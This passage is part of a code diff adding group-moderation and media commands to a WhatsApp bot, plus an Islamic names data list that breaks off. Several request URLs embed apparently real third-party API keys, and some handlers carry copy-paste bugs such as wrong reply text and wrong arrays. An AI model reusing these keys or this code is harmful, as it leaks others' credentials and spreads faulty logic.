XeonBotInc.groupMetadata(from) +var members = groupe['participants'] +var mems = [] +members.map(async adm => { +mems.push(adm.id.replace('c.us', 's.whatsapp.net')) +}) +XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nNobody is allowed to send wa.me in this group, one who sends will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) +} else if (args[0] === "off") { +if (!antiWame) return replygcxeon('Already deactivated') +let off = nttoxic.indexOf(from) +ntwame.splice(off, 1) +fs.writeFileSync('./database/antiwame.json', JSON.stringify(ntwame)) +replygcxeon('Success in turning off antiwame in this group') +} else { + await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) + } + } + break +case 'antilinkgc': { +if (!m.isGroup) return reply(mess.only.group) +if (!isBotAdmins) return XeonStickBotAdmin() +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (args[0] === "on") { +if (Antilinkgc) return replygcxeon('Already activated') +ntlinkgc.push(from) +fs.writeFileSync('./database/antilinkgc.json', JSON.stringify(ntlinkgc)) +replygcxeon('Success in turning on antiwame in this group') +var groupe = await XeonBotInc.groupMetadata(from) +var members = groupe['participants'] +var mems = [] +members.map(async adm => { +mems.push(adm.id.replace('c.us', 's.whatsapp.net')) +}) +XeonBotInc.sendMessage(from, {text: `\`\`\`ใ€Œ โš ๏ธWarningโš ๏ธ ใ€\`\`\`\n\nNobody is allowed to send group link in this group, one who sends will be kicked immediately!`, contextInfo: { mentionedJid : mems }}, {quoted:m}) +} else if (args[0] === "off") { +if (!Antilinkgc) return replygcxeon('Already deactivated') +let off = ntlinkgc.indexOf(from) +ntlinkgc.splice(off, 1) +fs.writeFileSync('./database/antilinkgc.json', JSON.stringify(ntlinkgc)) +replygcxeon('Success in turning off antiwame in this group') +} else { +await replygcxeon(`Please Type The Option\n\nExample: ${prefix + command} on\nExample: ${prefix + command} off\n\non to enable\noff to disable`) + } + } + break + case 'leavegc': { +if (!XeonTheCreator) return XeonStickOwner() +await XeonBotInc.groupLeave(m.chat) +await replygcxeon(`Done`) + } + break +case 'add': { +if (!m.isGroup) return reply(mess.only.group) +if (!isBotAdmins) return XeonStickBotAdmin() +if (!XeonTheCreator) return XeonStickOwner() +let users = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')+'@s.whatsapp.net' +await XeonBotInc.groupParticipantsUpdate(m.chat, [users], 'add') +await replygcxeon(`Done`) +} +break +case 'closetime': { +if (!m.isGroup) return reply(mess.only.group) +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (!isBotAdmins) return XeonStickBotAdmin() +if (args[1] == 'second') { +var timer = args[0] * `1000` +} else if (args[1] == 'minute') { +var timer = args[0] * `60000` +} else if (args[1] == 'hour') { +var timer = args[0] * `3600000` +} else if (args[1] == 'day') { +var timer = args[0] * `86400000` +} else { +return replygcxeon('*Choose:*\nsecond\nminute\nhour\n\n*Example*\n10 second') +} +replygcxeon(`Close Time ${q} Starting from now`) +setTimeout(() => { +var nomor = m.participant +const close = `*On time* Group Closed By Admin\nNow Only Admins Can Send Messages` +XeonBotInc.groupSettingUpdate(from, 'announcement') +replygcxeon(close) +}, timer) +} +break + case 'ephemeral': { +if (!m.isGroup) return reply(mess.only.group) +if (!isBotAdmins) return XeonStickBotAdmin() +if (!isAdmins) return XeonStickAdmin() +if (!text) return replygcxeon('Enter the value enable/disable') +if (args[0] === 'enable') { +await XeonBotInc.sendMessage(m.chat, { disappearingMessagesInChat: WA_DEFAULT_EPHEMERAL }) +} else if (args[0] === 'disable') { +await XeonBotInc.sendMessage(m.chat, { disappearingMessagesInChat: false }) +await replygcxeon(`Done`) +} + } + break + case 'delete': case 'del': { +if (!XeonTheCreator) return XeonStickOwner() +if (!m.quoted) throw false +let { chat, id } = m.quoted + XeonBotInc.sendMessage(m.chat, { delete: { remoteJid: m.chat, fromMe: false, id: m.quoted.id, participant: m.quoted.sender } }) + } + break + case 'linkgroup': case 'linkgc': case 'gclink': case 'grouplink': { +if (!m.isGroup) return reply(mess.only.group) +if (!isBotAdmins) return XeonStickBotAdmin() +let response = await XeonBotInc.groupInviteCode(m.chat) +XeonBotInc.sendText(m.chat, `https://chat.whatsapp.com/${response}\n\nGroup Link : ${groupMetadata.subject}`, m, { detectLink: true }) + } + break +case 'd': { + if (!m.quoted) throw false + let { chat, fromMe, id, isBaileys } = m.quoted + if (!isBaileys) return replygcxeon('The message was not sent by a bot!') + XeonBotInc.sendMessage(m.chat, { delete: { remoteJid: m.chat, fromMe: true, id: m.quoted.id, participant: m.quoted.sender } }) + } + break +case 'opentime': { +if (!m.isGroup) return reply(mess.only.group) +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (!isBotAdmins) return XeonStickBotAdmin() +if (args[1] == 'second') { +var timer = args[0] * `1000` +} else if (args[1] == 'minute') { +var timer = args[0] * `60000` +} else if (args[1] == 'hour') { +var timer = args[0] * `3600000` +} else if (args[1] == 'day') { +var timer = args[0] * `86400000` +} else { +return replygcxeon('*Choose:*\nsecond\nminute\nhour\n\n*Example*\n10 second') +} +replygcxeon(`Open Time ${q} Starting from now`) +setTimeout(() => { +var nomor = m.participant +const open = `*On time* Group Opened By Admin\n Now Members Can Send Messages` +XeonBotInc.groupSettingUpdate(from, 'not_announcement') +replygcxeon(open) +}, timer) +} +break +case 'kick': { +if (!m.isGroup) return reply(mess.only.group) +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (!isBotAdmins) return XeonStickBotAdmin() +let users = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')+'@s.whatsapp.net' +await XeonBotInc.groupParticipantsUpdate(m.chat, [users], 'remove') +await replygcxeon(`Done`) +} +break +//=========================================\\ +case 'kickall': { +if (!m.isGroup) return reply(mess.only.group) +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (!isBotAdmins) return XeonStickBotAdmin() +let users = participants.map(u => u.id) +await XeonBotInc.groupParticipantsUpdate(m.chat, [users], 'remove') +await replygcxeon(`Done`) +} +break +case 'setbotname':{ +if (!XeonTheCreator) return XeonStickOwner() +if (!text) return replygcxeon(`Where is the name?\nExample: ${prefix + command} Cheems Bot`) + await XeonBotInc.updateProfileName(text) + replygcxeon(`Success in changing the name of bot's number`) + } + break +case 'setbotbio':{ +if (!XeonTheCreator) return XeonStickOwner() +if (!text) return replygcxeon(`Where is the text?\nExample: ${prefix + command} Cheems Bot`) + await XeonBotInc.updateProfileStatus(text) + replygcxeon(`Success in changing the bio of bot's number`) + } + break + case 'setgroupname': case 'setsubject': { +if (!m.isGroup) return reply(mess.only.group) +if (!isBotAdmins) return XeonStickBotAdmin() +if (!isAdmins) return XeonStickAdmin() +if (!text) return replygcxeon('Text ?') +await XeonBotInc.groupUpdateSubject(m.chat, text) +await replygcxeon(`Done`) + } + break + case 'setdesc': case 'setdesk': { +if (!m.isGroup) return reply(mess.only.group) +if (!isBotAdmins) return XeonStickBotAdmin() +if (!isAdmins) return XeonStickAdmin() +if (!text) return replygcxeon('Text ?') +await XeonBotInc.groupUpdateDescription(m.chat, text) +await replygcxeon(`Done`) + } + break +//=========================================\\ +case 'getpp':{ +if (!m.isGroup) return reply ("Digunakan Khsus Dalam Group") +let userss = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')+'@s.whatsapp.net' +let ghosst = userss + try { + var ppuser = await XeonBotInc.profilePictureUrl(ghosst, 'image') +} catch (err) { + var ppuser = 'https://cdn.pixabay.com/photo/2015/10/05/22/37/blank-profile-picture-973460_960_720.png?q=60' +} +XeonBotInc.sendMessage(from, { image: { url: ppuser }}, { quoted: m }) +} +break +//=========================================\\ +case 'setppgroup': case 'setgcpp': case 'setgrouppp': { +if (!m.isGroup) return reply(mess.only.group) +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (!isBotAdmins) return XeonStickBotAdmin() +if (!quoted) return replygcxeon(`Where is the picture?`) +if (!/image/.test(mime)) return replygcxeon(`Send/Reply Image With Caption ${prefix + command}`) +if (/webp/.test(mime)) return replygcxeon(`Send/Reply Image With Caption ${prefix + command}`) +var mediz = await XeonBotInc.downloadAndSaveMediaMessage(quoted, 'ppgc.jpeg') +if (args[0] == `full`) { +var { img } = await generateProfilePicture(mediz) +await XeonBotInc.query({ +tag: 'iq', +attrs: { +to: m.chat, +type:'set', +xmlns: 'w:profile:picture' +}, +content: [ +{ +tag: 'picture', +attrs: { type: 'image' }, +content: img +} +] +}) +fs.unlinkSync(mediz) +replygcxeon(`Success`) +} else { +var memeg = await XeonBotInc.updateProfilePicture(m.chat, { url: mediz }) +fs.unlinkSync(mediz) +replygcxeon(`Success`) +} +} +break +case 'deleteppgroup': case 'delppgc': case 'deleteppgc': case 'delppgroup': { +if (!m.isGroup) return reply(mess.only.group) if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() -XeonBotInc.groupRevokeInvite(m.chat) +if (!isBotAdmins) return XeonStickBotAdmin() + await XeonBotInc.removeProfilePicture(from) + } + break +case 'deleteppbot': case 'delppbot': { +if (!XeonTheCreator) return XeonStickOwner() + await XeonBotInc.removeProfilePicture(XeonBotInc.user.id) + replygcxeon(`Success in deleting bot's profile picture`) + } + break +case 'promote': { +if (!m.isGroup) return reply(mess.only.group) +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (!isBotAdmins) return XeonStickBotAdmin() +let users = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')+'@s.whatsapp.net' +await XeonBotInc.groupParticipantsUpdate(m.chat, [users], 'promote') +await replygcxeon(`Done`) +} +break +case 'demote': { +if (!m.isGroup) return reply(mess.only.group) +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (!isBotAdmins) return XeonStickBotAdmin() +let users = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')+'@s.whatsapp.net' +await XeonBotInc.groupParticipantsUpdate(m.chat, [users], 'demote') +await replygcxeon(`Done`) +} +break +case 'hidetag': { +if (!m.isGroup) return reply(mess.only.group) +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (!isBotAdmins) return XeonStickBotAdmin() +XeonBotInc.sendMessage(m.chat, { text : q ? q : '' , mentions: participants.map(a => a.id)}, { quoted: m }) +} +break +case 'ht': { +if (!m.isGroup) return reply(mess.only.group) +if (!XeonTheCreator) return XeonStickOwner() +XeonBotInc.sendMessage(m.chat, { text : q ? q : '' , mentions: participants.map(a => a.id)}, { quoted: m }) +} +break + +case 'totag': { +if (!m.isGroup) return reply(mess.only.group) +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (!isBotAdmins) return XeonStickBotAdmin() + if (!m.quoted) return replygcxeon(`Reply message with caption ${prefix + command}`) + XeonBotInc.sendMessage(m.chat, { forward: m.quoted.fakeObj, mentions: participants.map(a => a.id) }) + } + break + +case 'tagall': { +if (!m.isGroup) return reply(mess.only.group) +if (!isAdmins && !XeonTheCreator) return XeonStickAdmin() +if (!isBotAdmins) return XeonStickBotAdmin() +me = m.sender +let teks = `โ•šยปห™ฮ‡ู ${themeemoji}โ—โ™ฅ Tag All โ™ฅโ—${themeemoji}ู ฮ‡ห™ยซโ• + + ๐Ÿ˜ถ *Tagger :* @${me.split('@')[0]} + ๐ŸŒฟ *Message : ${q ? q : 'no message'}*\n\n` +for (let mem of participants) { +teks += `${themeemoji} @${mem.id.split('@')[0]}\n` +} +XeonBotInc.sendMessage(m.chat, { text: teks, mentions: participants.map(a => a.id) }, { quoted: m }) +} +break +case 'ebinary': { +if (!q) return replygcxeon(`Send/reply text with captions ${prefix + command}`) +reply(mess.wait) +let { eBinary } = require('./scrape/binary') +let eb = await eBinary(`${q}`) +replygcxeon(eb) +} +break +case 'dbinary': { +if (!q) return replygcxeon(`Send/reply text with captions ${prefix + command}`) +reply(mess.wait) +let { dBinary } = require('./scrape/binary') +let db = await dBinary(`${q}`) +replygcxeon(db) +} +break + +case 'toanime': +case 'jadianime':{ +if (!quoted) return replygcxeon(`mana Fotonya kak?`) +reply(mess.wait) +const media = await XeonBotInc.downloadAndSaveMediaMessage(quoted) +const anu = await TelegraPh (media) +const data = await fetchJson(`https://skizo.tech/api/aimirror?url=${anu}&filter=anime_2d&apikey=dzsyabotz`) +const animek = data.generated_image_addresses; +XeonBotInc.sendMessage(m.chat, { image: { url: `${animek}` }, caption: `*Sukses membuat Anime*` }, { quoted: m}) +} +break +//=========================================\\ +case 'removebg': +case 'nobg': +case 'hapusbackground':{ +if (!quoted) return replygcxeon(`mana Fotonya kak?`) +reply(mess.wait) +const media = await XeonBotInc.downloadAndSaveMediaMessage(quoted) +const anu = await TelegraPh (media) +XeonBotInc.sendMessage(m.chat, { image: { url: `https://api.lolhuman.xyz/api/removebg?apikey=haikalgans&img=${anu}` }, caption: `*Sukses menghapus background*` }, { quoted: m}) +} +break +//=========================================\\ +case 'hd': + case 'remini':{ +if (!quoted) return replygcxeon(`Where is the picture?`) + if (!/image/.test(mime)) return replygcxeon(`Kirim/Balas Foto Dengan caption ${prefix + command}`) + reply(mess.wait) + const { remini } = require('./lib/remini') + let media = await quoted.download() + let proses = await remini(media, "enhance") + XeonBotInc.sendMessage(m.chat, { image: proses, caption: `_Sukses Membuat ${command}_`}, { quoted: m}) + } + break +//=========================================\\ +case 'ss': +case 'ssweb':{ +if (!text) return replygcxeon(`mana linknya kak?`) +XeonBotInc.sendMessage(m.chat, { image: { url: `https://skizo.tech/api/ssweb?type=mobile&url=${encodeURIComponent(text)}&apikey=dzsyabotz` }}, { quoted: m}) +} +break +//=========================================\\ + +case 'sertifikattolol': +case 'sertiflol': { + if (!q) return replygcxeon(`Mana Nama Orangnya Kak`) + reply(mess.wait) + XeonBotInc.sendMessage(m.chat, { image: { url: `https://kiicodeofficial.my.id/api/maker/tolol?text=${q}&apikey=Dzsyacans` + }, caption: `_Ini Dia Sertifikat Nya Kak_` }, { quoted: m}) +} +break +//=========================================\\ +case 'logoneko': +case 'nekologo': { + if (!q) return replygcxeon(`Mana Nama Orangnya Kak`) + reply(mess.wait) + XeonBotInc.sendMessage(m.chat, { image: { url: `https://api.caliph.biz.id/api/girlneko?nama=${q}&nama2=dev&apikey=CcVXxbMw` + }, caption: `_Ini Dia Logo Nya Kak_` }, { quoted: m}) +} +break +//====================================================================== +case 'nulis': +case 'nulisbuku': { + if (!q) return replygcxeon(`Mana text nya`) + reply(mess.wait) + XeonBotInc.sendMessage(m.chat, { image: { url: `https://api.lolhuman.xyz/api/nulis?apikey=haikalgans&text=${q}` + }, caption: `_Ini Dia Hasilnya kak๐Ÿฆ_` }, { quoted: m}) +} +break +//=========================================\\ +case 'kisahnabi': { + if (!text) return replygcxeon(`Masukan nama nabi\nExample: kisahnabi adam`) + let url = await fetch(`https://raw.githubusercontent.com/ZeroChanBot/Api-Freee/a9da6483809a1fbf164cdf1dfbfc6a17f2814577/data/kisahNabi/${text}.json`) + let kisah = await url.json().catch(_ => "Error") + if (kisah == "Error") return replygcxeon("*Not Found*\n*๐Ÿ“ฎ แด›ษชแด˜s :* coba jangan gunakan huruf capital") + + let hasil = `_*๐Ÿ‘ณ Nabi :*_ ${kisah.name} +_*๐Ÿ“… Tanggal Lahir :*_ ${kisah.thn_kelahiran} +_*๐Ÿ“ Tempat Lahir :*_ ${kisah.tmp} +_*๐Ÿ“Š Usia :*_ ${kisah.usia} + +*โ€” โ€” โ€” โ€” โ€” โ€” โ€” [ K I S A H ] โ€” โ€” โ€” โ€” โ€” โ€” โ€”* + +${kisah.description}` + + replygcxeon(`${hasil}`) + +} +break +//=========================================\\ +const contoh = `*Asmaul Husna* +` +// data here +const anjuran = ` +Dari Abu hurarirah radhiallahu anhu, Rasulullah Saw bersabda: "ุฅูู†ู‘ูŽ ู„ูู„ู‘ูŽู‡ู ุชูŽุนูŽุงู„ูŽู‰ ุชูุณู’ุนูŽุฉู‹ ูˆูŽุชูุณู’ุนููŠู†ูŽ ุงุณู’ู…ู‹ุงุŒ ู…ูุงุฆูŽุฉูŒ ุฅูู„ู‘ูŽุง ูˆูŽุงุญูุฏู‹ุงุŒ ู…ูŽู†ู’ ุฃูŽุญู’ุตูŽุงู‡ูŽุง ุฏุฎู„ ุงู„ุฌู†ุฉุŒ ูˆู‡ูˆ ูˆุชุฑ ูŠูุญูุจู‘ู ุงู„ู’ูˆูุชู’ุฑูŽ" +Artinya: "Sesungguhnya Allah mempunyai sembilan puluh sembilan nama, alias seratus kurang satu. Barang siapa yang menghitung-hitungnya, niscaya masuk surga; Dia Witir dan menyukai yang witir".` + +case 'asmaulhusna': { +const asmaulhusna = [ + { + index: 1, + latin: "Ar Rahman", + arabic: "ุงู„ุฑูŽู‘ุญู’ู…ูŽู†ู", + translation_id: "Yang Memiliki Mutlak sifat Pemurah", + translation_en: "The All Beneficent" + }, + { + index: 2, + latin: "Ar Rahiim", + arabic: "ุงู„ุฑูŽู‘ุญููŠู…ู", + translation_id: "Yang Memiliki Mutlak sifat Penyayang", + translation_en: "The Most Merciful" + }, + { + index: 3, + latin: "Al Malik", + arabic: "ุงู„ู’ู…ูŽู„ููƒู", + translation_id: "Yang Memiliki Mutlak sifat Merajai/Memerintah", + translation_en: "The King, The Sovereign" + }, + { + index: 4, + latin: "Al Quddus", + arabic: "ุงู„ู’ู‚ูุฏูู‘ูˆุณู", + translation_id: "Yang Memiliki Mutlak sifat Suci", + translation_en: "The Most Holy" + }, + { + index: 5, + latin: "As Salaam", + arabic: "ุงู„ุณูŽู‘ู„ุงูŽู…ู", + translation_id: "Yang Memiliki Mutlak sifat Memberi Kesejahteraan", + translation_en: "Peace and Blessing" + }, + { + index: 6, + latin: "Al Muโ€™min", + arabic: "ุงู„ู’ู…ูุคู’ู…ูู†ู", + translation_id: "Yang Memiliki Mutlak sifat Memberi Keamanan", + translation_en: "The Guarantor" + }, + { + index: 7, + latin: "Al Muhaimin", + arabic: "ุงู„ู’ู…ูู‡ูŽูŠู’ู…ูู†ู", + translation_id: "Yang Memiliki Mutlak sifat Pemelihara", + translation_en: "The Guardian, the Preserver" + }, + { + index: 8, + latin: "Al โ€˜Aziiz", + arabic: "ุงู„ู’ุนูŽุฒููŠุฒู", + translation_id: "Yang Memiliki Mutlak Kegagahan", + translation_en: "The Almighty, the Self Sufficient" + }, + { + index: 9, + latin: "Al Jabbar", + arabic: "ุงู„ู’ุฌูŽุจูŽู‘ุงุฑู", + translation_id: "Yang Memiliki Mutlak sifat Perkasa", + translation_en: "The Powerful, the Irresistible" + }, + { + index: 10, + latin: "Al Mutakabbir", + arabic: "ุงู„ู’ู…ูุชูŽูƒูŽุจูู‘ุฑู", + translation_id: "Yang Memiliki Mutlak sifat Megah,Yang Memiliki Kebesaran", + translation_en: "The Tremendous" + }, + { + index: 11, + latin: "Al Khaliq", + arabic: "ุงู„ู’ุฎูŽุงู„ูู‚ู", + translation_id: "Yang Memiliki Mutlak sifat Pencipta", + translation_en: "The Creator" + }, + { + index: 12, + latin: "Al Baariโ€™", + arabic: "ุงู„ู’ุจูŽุงุฑูุฆู", + translation_id: "Yang Memiliki Mutlak sifat Yang Melepaskan(Membuat, Membentuk, Menyeimbangkan)", + translation_en: "The Maker" + }, + { + index: 13, + latin: "Al Mushawwir", + arabic: "ุงู„ู’ู…ูุตูŽูˆูู‘ุฑู", + translation_id: "Yang Memiliki Mutlak sifat YangMembentuk Rupa (makhluknya)", + translation_en: "The Fashioner of Forms" + }, + { + index: 14, + latin: "Al Ghaffaar", + arabic: "ุงู„ู’ุบูŽููŽู‘ุงุฑู", + translation_id: "Yang Memiliki Mutlak sifat Pengampun", + translation_en: "The Ever Forgiving" + }, + { + index: 15, + latin: "Al Qahhaar", + arabic: "ุงู„ู’ู‚ูŽู‡ูŽู‘ุงุฑู", + translation_id: "Yang Memiliki Mutlak sifat Memaksa", + translation_en: "The All Compelling Subduer" + }, + { + index: 16, + latin: "Al Wahhaab", + arabic: "ุงู„ู’ูˆูŽู‡ูŽู‘ุงุจู", + translation_id: "Yang Memiliki Mutlak sifat Pemberi Karunia", + translation_en: "The Bestower" + }, + { + index: 17, + latin: "Ar Razzaaq", + arabic: "ุงู„ุฑูŽู‘ุฒูŽู‘ุงู‚ู", + translation_id: "Yang Memiliki Mutlak sifat Pemberi Rejeki", + translation_en: "The Ever Providing" + }, + { + index: 18, + latin: "Al Fattaah", + arabic: "ุงู„ู’ููŽุชูŽู‘ุงุญู", + translation_id: "Yang Memiliki Mutlak sifat Pembuka Rahmat", + translation_en: "The Opener, the Victory Giver" + }, + { + index: 19, + latin: "Al โ€˜Aliim", + arabic: "ุงูŽู„ู’ุนูŽู„ููŠู’ู…ู", + translation_id: "Yang Memiliki Mutlak sifatMengetahui (Memiliki Ilmu)", + translation_en: "The All Knowing, the Omniscient" + }, + { + index: 20, + latin: "Al Qaabidh", + arabic: "ุงู„ู’ู‚ูŽุงุจูุถู", + translation_id: "Yang Memiliki Mutlak sifat YangMenyempitkan (makhluknya)", + translation_en: "The Restrainer, the Straightener" + }, + { + index: 21, + latin: "Al Baasith", + arabic: "ุงู„ู’ุจูŽุงุณูุทู", + translation_id: "Yang Memiliki Mutlak sifat YangMelapangkan (makhluknya)", + translation_en: "The Expander, the Munificent" + }, + { + index: 22, + latin: "Al Khaafidh", + arabic: "ุงู„ู’ุฎูŽุงููุถู", + translation_id: "Yang Memiliki Mutlak sifat YangMerendahkan (makhluknya)", + translation_en: "The Abaser" + }, + { + index: 23, + latin: "Ar Raafiโ€™", + arabic: "ุงู„ุฑูŽู‘ุงููุนู", + translation_id: "Yang Memiliki Mutlak sifat YangMeninggikan (makhluknya)", + translation_en: "The Exalter" + }, + { + index: 24, + latin: "Al Muโ€™izz", + arabic: "ุงู„ู’ู…ูุนูุฒูู‘", + translation_id: "Yang Memiliki Mutlak sifat YangMemuliakan (makhluknya)", + translation_en: "The Giver of Honor" + }, + { + index: 25, + latin: "Al Mudzil", + arabic: "ุงู„ู…ูุฐูู„ูู‘", + translation_id: "Yang Memiliki Mutlak sifatYang Menghinakan (makhluknya)", + translation_en: "The Giver of Dishonor" + }, + { + index: 26, + latin: "Al Samiiโ€™", + arabic: "ุงู„ุณูŽู‘ู…ููŠุนู", + translation_id: "Yang Memiliki Mutlak sifat Maha Mendengar", + translation_en: "The All Hearing" + }, + { + index: 27, + latin: "Al Bashiir", + arabic: "ุงู„ู’ุจูŽุตููŠุฑู", + translation_id: "Yang Memiliki Mutlak sifat Maha Melihat", + translation_en: "The All Seeing" + }, + { + index: 28, + latin: "Al Hakam", + arabic: "ุงู„ู’ุญูŽูƒูŽู…ู", + translation_id: "Yang Memiliki Mutlak sifat Maha Menetapkan", + translation_en: "The Judge, the Arbitrator" + }, + { + index: 29, + latin: "Al โ€˜Adl", + arabic: "ุงู„ู’ุนูŽุฏู’ู„ู", + translation_id: "Yang Memiliki Mutlak sifat Maha Adil", + translation_en: "The Utterly Just" + }, + { + index: 30, + latin: "Al Lathiif", + arabic: "ุงู„ู„ูŽู‘ุทููŠูู", + translation_id: "Yang Memiliki Mutlak sifat Maha Lembut", + translation_en: "The Subtly Kind" + }, + { + index: 31, + latin: "Al Khabiir", + arabic: "ุงู„ู’ุฎูŽุจููŠุฑู", + translation_id: "Yang Memiliki Mutlak sifatMaha Mengetahui Rahasia", + translation_en: "The All Aware" + }, + { + index: 32, + latin: "Al Haliim", + arabic: "ุงู„ู’ุญูŽู„ููŠู…ู", + translation_id: "Yang Memiliki Mutlak sifat Maha Penyantun", + translation_en: "The Forbearing, the Indulgent" + }, + { + index: 33, + latin: "Al โ€˜Azhiim", + arabic: "ุงู„ู’ุนูŽุธููŠู…ู", + translation_id: "Yang Memiliki Mutlak sifat Maha Agung", + translation_en: "The Magnificent, the Infinite" + }, + { + index: 34, + latin: "Al Ghafuur", + arabic: "ุงู„ู’ุบูŽูููˆุฑู", + translation_id: "Yang Memiliki Mutlak sifat Maha Pengampun", + translation_en: "The All Forgiving" + }, + { + index: 35, + latin: "As Syakuur", + arabic: "ุงู„ุดูŽู‘ูƒููˆุฑู", + translation_id: "Yang Memiliki Mutlak sifat MahaPembalas Budi (Menghargai)", + translation_en: "The Grateful" + }, + { + index: 36, + latin: "Al โ€˜Aliy", + arabic: "ุงู„ู’ุนูŽู„ููŠูู‘", + translation_id: "Yang Memiliki Mutlak sifat Maha Tinggi", + translation_en: "The Sublimely Exalted" + }, + { + index: 37, + latin: "Al Kabiir", + arabic: "ุงู„ู’ูƒูŽุจููŠุฑู", + translation_id: "Yang Memiliki Mutlak sifat Maha Besar", + translation_en: "The Great" + }, + { + index: 38, + latin: "Al Hafizh", + arabic: "ุงู„ู’ุญูŽูููŠุธู", + translation_id: "Yang Memiliki Mutlak sifat Maha Menjaga", + translation_en: "The Preserver" + }, + { + index: 39, + latin: "Al Muqiit", + arabic: "ุงู„ู…ูู‚ูŠูุช", + translation_id: "Yang Memiliki Mutlak sifat Maha Pemberi Kecukupan", + translation_en: "The Nourisher" + }, + { + index: 40, + latin: "Al Hasiib", + arabic: "ุงู„ู’ุญุณููŠุจู", + translation_id: "Yang Memiliki Mutlak sifat MahaMembuat Perhitungan", + translation_en: "The Reckoner" + }, + { + index: 41, + latin: "Al Jaliil", + arabic: "ุงู„ู’ุฌูŽู„ููŠู„ู", + translation_id: "Yang Memiliki Mutlak sifat Maha Mulia", + translation_en: "The Majestic" + }, + { + index: 42, + latin: "Al Kariim", + arabic: "ุงู„ู’ูƒูŽุฑููŠู…ู", + translation_id: "Yang Memiliki Mutlak sifat Maha Pemurah", + translation_en: "The Bountiful, the Generous" + }, + { + index: 43, + latin: "Ar Raqiib", + arabic: "ุงู„ุฑูŽู‘ู‚ููŠุจู", + translation_id: "Yang Memiliki Mutlak sifat Maha Mengawasi", + translation_en: "The Watchful" + }, + { + index: 44, + latin: "Al Mujiib", + arabic: "ุงู„ู’ู…ูุฌููŠุจู", + translation_id: "Yang Memiliki Mutlak sifat Maha Mengabulkan", + translation_en: "The Responsive, the Answerer" + }, + { + index: 45, + latin: "Al Waasiโ€™", + arabic: "ุงู„ู’ูˆูŽุงุณูุนู", + translation_id: "Yang Memiliki Mutlak sifat Maha Luas", + translation_en: "The Vast, the All Encompassing" + }, + { + index: 46, + latin: "Al Hakiim", + arabic: "ุงู„ู’ุญูŽูƒููŠู…ู", + translation_id: "Yang Memiliki Mutlak sifat Maka Bijaksana", + translation_en: "The Wise" + }, + { + index: 47, + latin: "Al Waduud", + arabic: "ุงู„ู’ูˆูŽุฏููˆุฏู", + translation_id: "Yang Memiliki Mutlak sifat Maha Pencinta", + translation_en: "The Loving, the Kind One" + }, + { + index: 48, + latin: "Al Majiid", + arabic: "ุงู„ู’ู…ูŽุฌููŠุฏู", + translation_id: "Yang Memiliki Mutlak sifat Maha Mulia", + translation_en: "The All Glorious" + }, + { + index: 49, + latin: "Al Baaโ€™its", + arabic: "ุงู„ู’ุจูŽุงุนูุซู", + translation_id: "Yang Memiliki Mutlak sifat Maha Membangkitkan", + translation_en: "The Raiser of the Dead" + }, + { + index: 50, + latin: "As Syahiid", + arabic: "ุงู„ุดูŽู‘ู‡ููŠุฏู", + translation_id: "Yang Memiliki Mutlak sifat Maha Menyaksikan", + translation_en: "The Witness" + }, + { + index: 51, + latin: "Al Haqq", + arabic: "ุงู„ู’ุญูŽู‚ูู‘", + translation_id: "Yang Memiliki Mutlak sifat Maha Benar", + translation_en: "The Truth, the Real" + }, + { + index: 52, + latin: "Al Wakiil", + arabic: "ุงู„ู’ูˆูŽูƒููŠู„ู", + translation_id: "Yang Memiliki Mutlak sifat Maha Memelihara", + translation_en: "The Trustee, the Dependable" + }, + { + index: 53, + latin: "Al Qawiyyu", + arabic: "ุงู„ู’ู‚ูŽูˆููŠูู‘", + translation_id: "Yang Memiliki Mutlak sifat Maha Kuat", + translation_en: "The Strong" + }, + { + index: 54, + latin: "Al Matiin", + arabic: "ุงู„ู’ู…ูŽุชููŠู†ู", + translation_id: "Yang Memiliki Mutlak sifat Maha Kokoh", + translation_en: "The Firm, the Steadfast" + }, + { + index: 55, + latin: "Al Waliyy", + arabic: "ุงู„ู’ูˆูŽู„ููŠูู‘", + translation_id: "Yang Memiliki Mutlak sifat Maha Melindungi", + translation_en: "The Protecting Friend, Patron, and Helper" + }, + { + index: 56, + latin: "Al Hamiid", + arabic: "ุงู„ู’ุญูŽู…ููŠุฏู", + translation_id: "Yang Memiliki Mutlak sifat Maha Terpuji", + translation_en: "The All Praiseworthy" + }, + { + index: 57, + latin: "Al Mushii", + arabic: "ุงู„ู’ู…ูุญู’ุตููŠ", + translation_id: "Yang Memiliki Mutlak sifat Maha Mengkalkulasi", + translation_en: "The Accounter, the Numberer of All" + }, + { + index: 58, + latin: "Al Mubdiโ€™", + arabic: "ุงู„ู’ู…ูุจู’ุฏูุฆู", + translation_id: "Yang Memiliki Mutlak sifat Maha Memulai", + translation_en: "The Producer, Originator, and Initiator of all" + }, + { + index: 59, + latin: "Al Muโ€™iid", + arabic: "ุงู„ู’ู…ูุนููŠุฏู", + translation_id: "Yang Memiliki Mutlak sifat MahaMengembalikan Kehidupan", + translation_en: "The Reinstater Who Brings Back All" + }, + { + index: 60, + latin: "Al Muhyii", + arabic: "ุงู„ู’ู…ูุญู’ูŠููŠ", + translation_id: "Yang Memiliki Mutlak sifat Maha Menghidupkan", + translation_en: "The Giver of Life" + }, + { + index: 61, + latin: "Al Mumiitu", + arabic: "ุงูŽู„ู’ู…ูู…ููŠุชู", + 